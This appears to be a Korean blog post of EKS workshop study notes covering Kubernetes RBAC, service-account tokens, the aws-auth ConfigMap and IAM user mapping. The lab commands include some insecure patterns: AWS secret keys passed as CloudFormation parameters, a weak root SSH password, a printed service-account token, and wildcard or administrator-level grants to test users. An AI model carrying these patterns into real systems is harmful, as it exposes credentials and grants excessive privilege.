본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경 배포 & 소개

이번 보안을 스터디하는 시간에는 실제 인증 및 인가를 주로 스터디하였고, 실습시 2개의 Bastion VM을 사용하는 환경이다. 2명의 DevOps 엔지니어가 각각 다른 작업용 EC2를 사용한다고 가정하여 진행하는 점을 참고하자.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick5.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick5.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

기본 설정을 다음과 같이 진행하고

# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인 : t3.medium
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml

# 노드 IP 확인 및 PrivateIP 변수 지정
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.200/32

# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh -o StrictHostKeyChecking=no ec2-user@$node hostname; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done

 

프로메테우스 및 그라파나 역시 지난 실습과 비슷하게 준비를 하였다.

# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  defaultDashboardsEnabled: false

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
kubectl create ns monitoring
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.2.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# Metrics-server 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = https://prometheus.$MyDomain"

# 그라파나 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

 

EC2 배포된 결과

 

터미널 준비 완료 (bastion 2 VM은 EC2 콘솔에서 IP 주소를 확인하여 접속)

 

1. K8s 인증/인가

EKS 인증/인가를 살펴보기 전에 먼저 Kubernetes에서의 인증 (Authentication) 및 인가 (Authorization)을 살펴보고자 한다.

 

쿠버네티스에서 인증 및 인가는 다음 과정을 통해 진행이 이루어진다고 한다.

 

Admission 컨트롤러에서 인증이 이루어지는 단계 (출처: https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/ )

 

세부적인 Mutating 및 Validating admission 등 단계도 있으나 크게 보면 "인증(Authentication) → 인가(Authorization) → Admission Control" 순서로 진행이 이루어진다고 보면 되겠다. 인증이 이루어지는 방식은 API 뿐만 아니라 서비스 계정 (Service Account), 대시보드, Kubectl 등을 이용한 방식을 지원하며 X.509 클라이언트 인증서가 실제 어떻게 활용되는지 뒤 실습에서 살펴본다. 그리고 인가에 대해서는 RBAC (Role, RoleBinding) 및 ABAC, Webhook, Node Authorization 방식을 지원하는데, 이번 실습에서는 RBAC에 대해 확인을 해 보았다.

 

쿠버네티스 인증 과정 (출처: https://kubetm.github.io/k8s/07-intermediate-basic-resource/authentication/ )

 

CLI에서 설정 파일로 존재하는 파일명이 바로 .kube/config 이다. 해당 파일을 열어 살펴보면 API 서버 접속 정보 목록이 나열된 "clusters", 쿠버네티스 API 서버에 접속하기 위한 사용자 인증 정보 목록이 나열된 "users", 클러스터 항목과 사용자 항목에 정의된 값을 조합해 최종적으로 사용할 쿠버네티스 클러스터 정보(컨텍스트)를 설정하고자 나열된 "contexts" 항목이 있는 것을 확인할 수 있다. 

 

이번 실습 환경은 dev-k8s 및 infra-k8s 2개의 서비스 계정 (Service Account)로 나뉘어 있는 상황을 가정하여 별도로 네임스페이스를 사용할 때 역할 및 역할 바인딩을 구분하는 상황을 가정하여 실습한다.

 

먼저 네임스페이스와 서비스 계정을 생성 후 확인해보자.

# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team

# 네임스페이스 확인
kubectl get ns

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh

 

 

dev-k8s 서비스 계정에 대한 토큰 정보를 확인해보았다. 참고로 Kubernetes 1.24 이상부터는 secret이 자동 생성되지 않기에 (관련 정보: 안승규님 DevOcean 블로그 내용) 수동으로 생성하여 확인해보았으며 jwt.io 사이트에서 토큰에 대한 정보를 쉽게 확인할 수 있었다. # 이후에 있는 부분이 명령어이고 그 결과를 아래에 붙여보았다.

# kubectl get secret -n dev-team
No resources found in dev-team namespace.

# cat <<EOF | kubectl apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: dev-k8s
>   namespace: dev-team
>   annotations:
>     kubernetes.io/service-account.name: dev-k8s
> type: kubernetes.io/service-account-token
> EOF
secret/dev-k8s created

# kubectl get secret -n dev-team
NAME      TYPE                                  DATA   AGE
dev-k8s   kubernetes.io/service-account-token   3      49s

# DevToken=$(kubectl get secret -n dev-team dev-k8s -o jsonpath="{.data.token}" | base64 -d)

# echo $DevToken
eyJhbGciOiJSUzI1NiIsImtpZCI6InMwM1BYTDBhRUJEQW5meUN3MzdCanhmUkpESEExM0xuQ0lNRVJpZjhkb2MifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZXYtdGVhbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkZXYtazhzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImRldi1rOHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI2OTU3MTYxZC03MTE3LTQ5NTYtYjQ4ZS01MDcwOTI2ZmM1ZGUiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGV2LXRlYW06ZGV2LWs4cyJ9.hd6C18QaiOVlKdGn1qyZPClou3z-WA3LwYDNXjHyuN7z7ECzpCJ5CiZNIvLN5O1MEuOo301wv-jW0Fh5Z423alEHDbWo3QzHsaSR_RmHM8s6QVpAtuSElUYutkOkoU30fXyyRnqQcx-8b4DqWFhqopzCliYDfERVxWmKvbliKYxmbntQ8eAPrpd-V554R-KLRoabLjcNLZabEDpG_vuoENo1ghG1FqgDz9vSszigRqSxlhiy4TU_kPij12GlC6y1ZB35ZLFxIZ3dQ84ClHh4nDk5Dwpw5rq72ONtT8JFYIUmAnEScpMlY_Q1OvJlnjFePrhwq8Nc2bH_Yp2ywpOwfQ

 

 

그 다음에 서비스 어카운트 (계정)을 지정하여 파드 생성 후 권한을 테스트한다.

 

# 각각 네임스피이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
kubectl get pod -o infra-kubectl -n infra-team -o yaml

# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

 

토큰 정보를 확인하니 이전에 secret을 만들어서 확인한 토큰 정보와는 조금 다른 점도 확인할 수 있었다. (OIDC 등 정보가 더 보인다)

 

그리고 k1, k2 alias를 만들고 손쉽게 권한 테스트를 해보자. 아직은 별다른 권한을 주지 않았기에 당연히 실행 권한이 없을 것이다.

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system

k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
no

 

그러면 이제 각각 네임스페이스에 롤 (Role)을 생성한 다음에 서비스 어카운트를 바인딩해보자.

# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

# 롤 확인 
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team
...
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]

# 롤바인딩 생성 : '서비스어카운트 <-> 롤' 간 서로 연동
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

# 롤바인딩 확인
kubectl get rolebindings -n dev-team
kubectl get rolebindings -n infra-team
kubectl get rolebindings -n dev-team -o yaml
kubectl describe rolebindings roleB-dev-team -n dev-team
...
Role:
  Kind:  Role
  Name:  role-dev-team
Subjects:
  Kind            Name     Namespace
  ----            ----     ---------
  ServiceAccount  dev-k8s  dev-team

 

이렇게 Role 및 RoleBinding을 잘 완료한 다음에 다시 권한 테스트를 해보도록 하자. 개발팀, 인프라팀 각각에 해당하는 네임스페이스에 대해서만 권한을 주는 것으로 role에 설정이 이루어졌기에 kube-system 네임스페이스 및 및 node를 조회하는 권한이 없는 것을 확인해보았다.

 

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods 
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes

k2 get pods 
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes

 

실습을 완료하였다면 네임스페이스를 지우도록 하자: "kubectl delete ns dev-team infra-team"

2. EKS 인증/인가

그렇다면 이제부터는 EKS에서 인증 및 인가가 어떻게 동작하는지 살펴보도록 하자. 인증은 AWS IAM을 통해, 인가는 K8s RBAC을 통해 동작을 한다.

EKS 인증 및 인가 동작 (출처: https://kimalarm.tistory.com/65 )

 

관련 부분을 쉽게 살펴보기 위해 krew 플러그인을 설치하여 확인해보도록 하자.

 

# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami
arn:aws:iam::9112...:user/admin

# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'

# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters
  SUBJECT        | SUBJECT TYPE | SCOPE       | NAMESPACE | ROLE
+----------------+--------------+-------------+-----------+---------------+
  system:masters | Group        | ClusterRole |           | cluster-admin

kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper

# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'

# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show

# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami
{Username: "arn:aws:iam::911283...:user/admin",      <<-- 과거 "kubernetes-admin"에서 변경됨
 UID:      "aws-iam-authenticator:911283.:AIDA5ILF2FJI...",
 Groups:   ["system:authenticated"],                 <<-- 과거 "system:master"는 안보임
 Extra:    {accessKeyId:  ["AKIA5ILF2FJI....."],
            arn:          ["arn:aws:iam::9112834...:user/admin"],
            canonicalArn: ["arn:aws:iam::9112834...:user/admin"],
            principalId:  ["AIDA5ILF2FJI...."],
            sessionName:  [""]}}

# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
Policies:
• [CRB] */system:basic-user ⟶  [CR] */system:basic-user
  Resource                                       Name  Exclude  Verbs  G L W C U P D DC  
  selfsubjectaccessreviews.authorization.k8s.io  [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectreviews.authentication.k8s.io       [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectrulesreviews.authorization.k8s.io   [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
• [CRB] */system:discovery ⟶  [CR] */system:discovery
• [CRB] */system:public-info-viewer ⟶  [CR] */system:public-info-viewer

# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and http://localhost:8800

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"

 

 

(가져오는 양이 많아 아무래도 시간이 조금 소요되는 것 같다)

 

EKS 인증 및 인가를 보다 자세히 확인해보도록 하자. 구체적인 과정은 아래 그림을 참고하도록 하자.

(출처: https://youtu.be/bksogA-WXv8?t=670 )

 

(출처: https://devlos.tistory.com/75 )

 

# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::<자신의 Account ID>:user/admin"

# kubeconfig 정보 확인
cat ~/.kube/config | yh
...
- name: admin@myeks.ap-northeast-2.eksctl.io
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - eks
      - get-token
      - --output
      - json
      - --cluster-name
      - myeks
      - --region
      - ap-northeast-2
      command: aws
      env:
      - name: AWS_STS_REGIONAL_ENDPOINTS
        value: regional
      interactiveMode: IfAvailable
      provideClusterInfo: false

# Get  a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help

# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'

 

 

쿠버네티스 RBAC 인가 처리를 살펴보도록 하자. 우선 인증 및 인가 다음에 있는 mutating 및 validating webhook을 살펴보고 aws-auth 컨피그맵 및 EKS 설치한 IAM User 정보 등을 살펴본다.

# Webhook api 리소스 확인 
kubectl api-resources | grep Webhook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
NAME                                        WEBHOOKS   AGE
eks-aws-auth-configmap-validation-webhook   1          50m
vpc-resource-validating-webhook             2          50m
aws-load-balancer-webhook                   3          8m27s

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# aws-auth 컨피그맵 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
apiVersion: v1
kind: ConfigMap
metadata: 
  name: aws-auth
  namespace: kube-system
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::91128.....:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1OS1WSTV0YB9X
      username: system:node:{{EC2PrivateDNSName}}
#---<아래 생략(추정), ARN은 EKS를 설치한 IAM User , 여기 있었을경우 만약 실수로 삭제 시 복구가 가능했을까?---
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::111122223333:user/admin
      username: kubernetes-admin

# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami
{Username: "kubernetes-admin",
 UID:      "aws-iam-authenticator:9112834...:AIDA5ILF2FJIR2.....",
 Groups:   ["system:masters",
            "system:authenticated"],
...

# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
Role:
  Kind:  ClusterRole
  Name:  cluster-admin
Subjects:
  Kind   Name            Namespace
  ----   ----            ---------
  Group  system:masters

# cluster-admin 의 PolicyRule 확인 : 모든 리소스  사용 가능!
kubectl describe clusterrole cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]
             [*]                []              [*]

# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged

 

 

그리고 데브옵스 신입사원 (testuser)에 대한 설정을 해보도록 하자. 먼저 testuser 사용자를 생성한다.

 

# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser
{
    "AccessKey": {
        "UserName": "testuser",
        "AccessKeyId": "AKIA5ILF2##",
        "Status": "Active",
        "SecretAccessKey": "TxhhwsU8##",
        "CreateDate": "2023-05-23T07:40:09+00:00"
    }
}
# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/admin"

kubectl whoami

# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

 

그리고 bastion 2에서 testuser 자격증명을 aws configure 명령어로 준 다음에 확인해보자. 처음에는 aws configure로 권한을 주지 않아 get-caller-identity 결과가 없는 것이로 kubectl 결과는 .kube/config 파일이 없기 때문에 그렇다.

 

# get-caller-identity 확인 >> 왜 안될까요?
aws sts get-caller-identity --query Arn

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2

# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/testuser"

# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있는데, 실패 이유는?
kubectl get node -v6
ls ~/.kube

 

따라서 testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한을 설정하고

# 방안1 : eksctl 사용 >> iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

 

myeks-bastion-2에서 testuser kubeconfig 생성 및 kubectl 사용을 확인해보도록 하자.

# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh

# kubectl 사용 확인
kubectl ns default
kubectl get node -v6

# rbac-tool 후 확인 >> 기존 계정과 비교해보자 >> system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool && kubectl rbac-tool whoami

 

 

 

권한을 authenticated로 변경한 후 테스트도 해보았다.

# bastian1에서 실습

# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...

# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

 

실습을 다 한 이후에는 testuser IAM 매핑을 삭제한다.

 

# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn  arn:aws:iam::$ACCOUNT_ID:user/testuser

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh

 

3. EKS IRSA & Pod Identity

EKS IRSA 소개에 대해서는 최근 AKSKRUG에서 있었던 커뮤니티 발표 슬라이드 내용을 인용해본다.

(출처: https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf )

 

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1

 

# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
